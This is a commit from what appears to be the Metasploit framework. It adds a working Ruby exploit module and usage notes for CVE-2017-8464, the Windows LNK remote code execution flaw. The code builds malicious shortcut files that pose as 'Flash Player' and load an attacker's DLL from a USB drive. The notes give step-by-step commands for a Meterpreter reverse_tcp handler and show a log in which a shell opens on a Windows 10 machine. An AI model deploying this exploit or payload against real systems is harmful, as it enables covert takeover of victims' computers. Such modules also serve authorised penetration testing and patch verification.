CVE-2017-8464 LNK Remote Code Execution Vulnerability

This module exploits a vulnerability in the handling of Windows
Shortcut files (.LNK) that contain a dynamic icon, loaded from a
malicious DLL.

This vulnerability is a variant of MS15-020 (CVE-2015-0096). The
created LNK file is similar except in an additional
SpecialFolderDataBlock is included. The folder ID set in this
SpecialFolderDataBlock is set to the Control Panel. This is enought to
bypass the CPL whitelist. This bypass can be used to trick Windows into
loading an arbitrary DLL file.
bug/bundler_fix
Yorick Koster 2017-07-25 21:00:47 +02:00 committed by Brent Cook
parent ff189147e7
commit 565a3355be
2 changed files with 268 additions and 0 deletions

View File

@ -0,0 +1,89 @@
## Vulnerable Application
Any Windows versions without the patch for CVE-2017-8464. The exploit doesn't appear to work with UNC drives. Because of this the DLL file needs to be on the local file system or an USB drive. A fix was released on June 2017 Patch Tuesday.
## Vulnerable Setup
To set up the vulnerable environment, install a Windows version without the patch for CVE-2017-8464. To test the bypass, make sure that MS10-046 & MS15-020 are installed.
## Verification Steps
### Start a handler
1. `use exploit/multi/handler`
2. `set PAYLOAD windows/x64/meterpreter/reverse_tcp`
3. `set LHOST [ip victim connects back to]`
4. `exploit -j`
5. `back`
### Run the exploit
1. `use exploit/windows/smb/cve_2017_8464_lnk_rce`
2. `set PAYLOAD windows/x64/meterpreter/reverse_tcp`
3. `set LHOST [ip victim connects back to]`
4. `exploit`
### Copy create files to USB drive & open on vulnerable system
1. `cp /root/.msf4/local/* [USB drive path]`
### Windows 10 x64 (Build 14393)
```
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.146.197
LHOST => 192.168.146.197
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.146.197:4444
[*] Starting the payload handler...
msf exploit(handler) > back
msf > use exploit/windows/smb/cve_2017_8464_lnk_rce
msf exploit(cve_2017_8464_lnk_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(cve_2017_8464_lnk_rce) > set LHOST 192.168.146.197
LHOST => 192.168.146.197
msf exploit(cve_2017_8464_lnk_rce) > exploit
[*] /root/.msf4/local/pkgHwAYhcfJtppgK.dll created copy it to the root folder of the target USB drive
[*] /root/.msf4/local/WLJdtpWiqtSlIlRg_D.lnk create, copy to the USB drive if drive letter is D
[*] /root/.msf4/local/YGgAGQnuljHPwuHA_E.lnk create, copy to the USB drive if drive letter is E
[*] /root/.msf4/local/UDDDONGKgFMjJJEo_F.lnk create, copy to the USB drive if drive letter is F
[*] /root/.msf4/local/iHQVetsiIiAKqTpK_G.lnk create, copy to the USB drive if drive letter is G
[*] /root/.msf4/local/dyRROtcWZfjcZFRF_H.lnk create, copy to the USB drive if drive letter is H
[*] /root/.msf4/local/RKgznCzbSnbUAsWC_I.lnk create, copy to the USB drive if drive letter is I
[*] /root/.msf4/local/IlpcLQtbToxOPYSo_J.lnk create, copy to the USB drive if drive letter is J
[*] /root/.msf4/local/lBSxxQHPjHUJBpcI_K.lnk create, copy to the USB drive if drive letter is K
[*] /root/.msf4/local/DlHXewmhYhQaJvQj_L.lnk create, copy to the USB drive if drive letter is L
[*] /root/.msf4/local/kqpBviLQOiHQpMRF_M.lnk create, copy to the USB drive if drive letter is M
[*] /root/.msf4/local/InzbuFNqLHTJpgEz_N.lnk create, copy to the USB drive if drive letter is N
[*] /root/.msf4/local/akRjMdiwJsBkSvKi_O.lnk create, copy to the USB drive if drive letter is O
[*] /root/.msf4/local/JyyzptnIfvAfWpTl_P.lnk create, copy to the USB drive if drive letter is P
[*] /root/.msf4/local/lXrtKBWZkYUOCvnK_Q.lnk create, copy to the USB drive if drive letter is Q
[*] /root/.msf4/local/bYIqaUmWWRXaOsnV_R.lnk create, copy to the USB drive if drive letter is R
[*] /root/.msf4/local/QwyQWcTucHvGHktl_S.lnk create, copy to the USB drive if drive letter is S
[*] /root/.msf4/local/MzGJjWuTJYNBlPIV_T.lnk create, copy to the USB drive if drive letter is T
[*] /root/.msf4/local/PeMnziXmGTOziiaX_U.lnk create, copy to the USB drive if drive letter is U
[*] /root/.msf4/local/VtwFEyxDOhdktdEW_V.lnk create, copy to the USB drive if drive letter is V
[*] /root/.msf4/local/kFkvMzooPPPkiKvw_W.lnk create, copy to the USB drive if drive letter is W
[*] /root/.msf4/local/AkEDlRPsfBEtUJch_X.lnk create, copy to the USB drive if drive letter is X
[*] /root/.msf4/local/vIgMqTMyRRjwWiAs_Y.lnk create, copy to the USB drive if drive letter is Y
[*] /root/.msf4/local/baIHTqMoWyvsbnKM_Z.lnk create, copy to the USB drive if drive letter is Z
msf exploit(cve_2017_8464_lnk_rce) >
[*] Sending stage (1189423 bytes) to 192.168.146.193
[*] Meterpreter session 1 opened (192.168.146.197:4444 -> 192.168.146.193:50020) at 2017-07-25 19:28:27 +0200
sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : DESKTOP-5G8HK7E
OS : Windows 10 (Build 14393).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
```

View File

@ -0,0 +1,179 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
attr_accessor :exploit_dll_name
def initialize(info = {})
super(update_info(info,
'Name' => 'LNK Code Execution Vulnerability',
'Description' => %q{
This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK)
that contain a dynamic icon, loaded from a malicious DLL.
This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is
similar except an additional SpecialFolderDataBlock is included. The folder ID set
in this SpecialFolderDataBlock is set to the Control Panel. This is enought to bypass
the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
DLL file.
},
'Author' =>
[
'Uncredited', # vulnerability discovery
'Yorick Koster' # msf module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2017-8464'],
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464'],
['URL', 'http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt'], # writeup
['URL', 'https://msdn.microsoft.com/en-us/library/dd871305.aspx'], # [MS-SHLLINK]: Shell Link (.LNK) Binary File Format
['URL', 'http://www.geoffchappell.com/notes/security/stuxnet/ctrlfldr.htm'],
['URL', 'https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Arch' => [ARCH_X86, ARCH_X64],
'Payload' =>
{
'Space' => 2048,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows x64', { 'Arch' => ARCH_X64 } ],
[ 'Windows x86', { 'Arch' => ARCH_X86 } ]
],
'DefaultTarget' => 0, # Default target is 64-bit
'DisclosureDate' => 'Jun 13 2017'))
register_advanced_options(
[
OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true])
])
end
def exploit
dll = generate_payload_dll
dll_name = "#{rand_text_alpha(16)}.dll"
dll_path = store_file(dll, dll_name)
print_status("#{dll_path} created copy it to the root folder of the target USB drive")
# HACK the vulnerability doesn't appear to work with UNC paths
# Create LNK files to different drives instead
'DEFGHIJKLMNOPQRSTUVWXYZ'.split("").each do |i|
lnk = generate_link("#{i}:\\#{dll_name}")
lnk_path = store_file(lnk, "#{rand_text_alpha(16)}_#{i}.lnk")
print_status("#{lnk_path} create, copy to the USB drive if drive letter is #{i}")
end
end
def generate_link(path)
path << "\x00"
display_name = "Flash Player\x00" # LNK Display Name
comment = "\x00"
# Control Panel Applet ItemID with our DLL
cpl_applet = [
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00
].pack('C*')
cpl_applet << [path.length].pack('v')
cpl_applet << [display_name.length].pack('v')
cpl_applet << path.unpack('C*').pack('v*')
cpl_applet << display_name.unpack('C*').pack('v*')
cpl_applet << comment.unpack('C*').pack('v*')
# LinkHeader
ret = [
0x4c, 0x00, 0x00, 0x00, # HeaderSize, must be 0x0000004C
0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, # LinkCLSID, must be 00021401-0000-0000-C000-000000000046
0x81, 0x00, 0x00, 0x00, # LinkFlags (HasLinkTargetIDList | IsUnicode)
0x00, 0x00, 0x00, 0x00, # FileAttributes
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # CreationTime
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # AccessTime
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # WriteTime
0x00, 0x00, 0x00, 0x00, # FileSize
0x00, 0x00, 0x00, 0x00, # IconIndex
0x00, 0x00, 0x00, 0x00, # ShowCommand
0x00, 0x00, # HotKey
0x00, 0x00, # Reserved1
0x00, 0x00, 0x00, 0x00, # Reserved2
0x00, 0x00, 0x00, 0x00 # Reserved3
].pack('C*')
# IDList
idlist_data = ''
idlist_data << [0x12 + 2].pack('v') # ItemIDSize
idlist_data << [
# This PC
0x1f, 0x50, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack('C*')
idlist_data << [0x12 + 2].pack('v') # ItemIDSize
idlist_data << [
# All Control Panel Items
0x2e, 0x80, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack('C*')
idlist_data << [cpl_applet.length + 2].pack('v')
idlist_data << cpl_applet
idlist_data << [0x00].pack('v') # TerminalID
# LinkTargetIDList
ret << [idlist_data.length].pack('v') # IDListSize
ret << idlist_data
# ExtraData
# SpecialFolderDataBlock
ret << [
0x10, 0x00, 0x00, 0x00, # BlockSize
0x05, 0x00, 0x00, 0xA0, # BlockSignature 0xA0000005
0x03, 0x00, 0x00, 0x00, # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel)
0x28, 0x00, 0x00, 0x00 # Offset in LinkTargetIDList
].pack('C*')
# TerminalBlock
ret << [0x00, 0x00, 0x00, 0x00].pack('V')
ret
end
# Store the file in the MSF local directory (eg, /root/.msf4/local/)
def store_file(data, filename)
ltype = "exploit.fileformat.#{self.shortname}"
if ! ::File.directory?(Msf::Config.local_directory)
FileUtils.mkdir_p(Msf::Config.local_directory)
end
if filename and not filename.empty?
if filename =~ /(.*)\.(.*)/
ext = $2
fname = $1
else
fname = filename
end
else
fname = "local_#{Time.now.utc.to_i}"
end
fname = ::File.split(fname).last
fname.gsub!(/[^a-z0-9\.\_\-]+/i, '')
fname << ".#{ext}"
path = File.join("#{Msf::Config.local_directory}/", fname)
full_path = ::File.expand_path(path)
File.open(full_path, "wb") { |fd| fd.write(data) }
full_path.dup
end
end